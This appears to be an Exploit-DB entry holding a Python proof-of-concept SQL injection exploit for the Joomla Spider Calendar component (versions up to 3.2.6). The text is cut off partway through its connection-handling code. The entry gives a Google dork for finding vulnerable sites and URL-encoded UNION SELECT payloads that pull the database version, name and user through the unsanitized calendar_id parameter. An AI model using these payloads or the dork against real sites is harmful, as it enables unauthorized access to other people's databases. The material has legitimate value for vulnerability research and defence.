Exploit-DB #34571
Description: Joomla! Component Spider Calendar 3.2.6 - SQL Injection
Type: webapps
Platform: php
Date: 2014-09-08
Author: Claudio Viviani

Exploit:
#!/usr/bin/env python
#
#
# Exploit Title : Joomla Spider Calendar <= 3.2.6 SQL Injection
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://web-dorado.com/
#
# Software Link : http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329
#
# Dork Google: inurl:option=com_spidercalendar
#
# Date : 2014-08-31
#
# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
#
#
#
######################
#
# PoC Exploit:
#
# http://localhost/joomla/index.php?option=com_spidercalendar&calendar_id=1 [SQLi]
#
#
# "calendar_id" and "calendar" variables are not sanitized.
# 
#
# Vulnerability Disclosure Timeline:
#
# 2014-08-31:  Discovered vulnerability
# 2014-09-04:  Vendor Notification
# 2014-09-05:  Vendor Response/Feedback 
# 2014-09-05:  Vendor Fix/Patch 
# 2014-09-05:  Public Disclosure

import codecs
import httplib
import re
import sys
import socket
import optparse

banner = """

   $$$$$\                                   $$\                  $$$$$$\            $$\       $$\                               
   \__$$ |                                  $$ |                $$  __$$\           \__|      $$ |                              
      $$ | $$$$$$\   $$$$$$\  $$$$$$\$$$$\  $$ | $$$$$$\        $$ /  \__| $$$$$$\  $$\  $$$$$$$ | $$$$$$\   $$$$$$\            
      $$ |$$  __$$\ $$  __$$\ $$  _$$  _$$\ $$ | \____$$\       \$$$$$$\  $$  __$$\ $$ |$$  __$$ |$$  __$$\ $$  __$$\           
$$\   $$ |$$ /  $$ |$$ /  $$ |$$ / $$ / $$ |$$ | $$$$$$$ |       \____$$\ $$ /  $$ |$$ |$$ /  $$ |$$$$$$$$ |$$ |  \__|          
$$ |  $$ |$$ |  $$ |$$ |  $$ |$$ | $$ | $$ |$$ |$$  __$$ |      $$\   $$ |$$ |  $$ |$$ |$$ |  $$ |$$   ____|$$ |                
\$$$$$$  |\$$$$$$  |\$$$$$$  |$$ | $$ | $$ |$$ |\$$$$$$$ |      \$$$$$$  |$$$$$$$  |$$ |\$$$$$$$ |\$$$$$$$\ $$ |                
 \______/  \______/  \______/ \__| \__| \__|\__| \_______|       \______/ $$  ____/ \__| \_______| \_______|\__|                
                                                                          $$ |                                                  
                                                                          $$ |                                                  
                                                                          \__|                                                  

     $$$$$$\            $$\                           $$\                            $$$$$$\       $$$$$$\      $$$$$$\  
    $$  __$$\           $$ |                          $$ |                          $$ ___$$\     $$  __$$\    $$  __$$\ 
    $$ /  \__| $$$$$$\  $$ | $$$$$$\  $$$$$$$\   $$$$$$$ | $$$$$$\   $$$$$$\        \_/   $$ |    \__/  $$ |   $$ /  \__|
    $$ |       \____$$\ $$ |$$  __$$\ $$  __$$\ $$  __$$ | \____$$\ $$  __$$\         $$$$$ /      $$$$$$  |   $$$$$$$\  
    $$ |       $$$$$$$ |$$ |$$$$$$$$ |$$ |  $$ |$$ /  $$ | $$$$$$$ |$$ |  \__|        \___$$\     $$  ____/    $$  __$$\ 
    $$ |  $$\ $$  __$$ |$$ |$$   ____|$$ |  $$ |$$ |  $$ |$$  __$$ |$$ |            $$\   $$ |    $$ |         $$ /  $$ |
    \$$$$$$  |\$$$$$$$ |$$ |\$$$$$$$\ $$ |  $$ |\$$$$$$$ |\$$$$$$$ |$$ |            \$$$$$$  |$$\ $$$$$$$$\ $$\ $$$$$$  |
     \______/  \_______|\__| \_______|\__|  \__| \_______| \_______|\__|             \______/ \__|\________|\__|\______/ 
                                                                                                                     
                                                                                         j00ml4 Spid3r C4l3nd4r >= 2.x <= 3.2.6 SQLi

                                		           Written by:

                              				 Claudio Viviani

                           			       http://www.homelab.it

                            				  info@homelab.it
		                                       homelabit@protonmail.ch

                      			         https://www.facebook.com/homelabit
                      			            https://twitter.com/homelabit
                      			         https://plus.google.com/+HomelabIt1/
			                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""

C0mm4nds = dict()
C0mm4nds['DB VERS'] = 'VERSION'
C0mm4nds['DB NAME'] = 'DATABASE'
C0mm4nds['DB USER'] = 'CURRENT_USER'

com_spidercalendar = "index.php?option=com_spidercalendar&calendar_id=1"
ver_spidercalendar = "administrator/components/com_spidercalendar/spidercalendar.xml"
vuln = 0

def cmdMySQL(cmd):
   SqlInjList = [
   # SQLi Spider Calendar 2.x
   '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Calendar 3.0
   '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Calendar 3.2.x
   '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   ]
   return SqlInjList

def checkProtocol(pr):

    parsedHost = ""
    PORT =  m_oOptions.port

    if pr[0:8] == "https://":
        parsedHost = pr[8:]

        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
            if PORT == 0:
                PORT = 443

        PROTO = httplib.HTTPSConnection(parsedHost, PORT)

    elif pr[0:7] == "http://":
        parsedHost = pr[7:]
        if parsedHost.endswith("/"):
            parsedHost = parsedHost.rep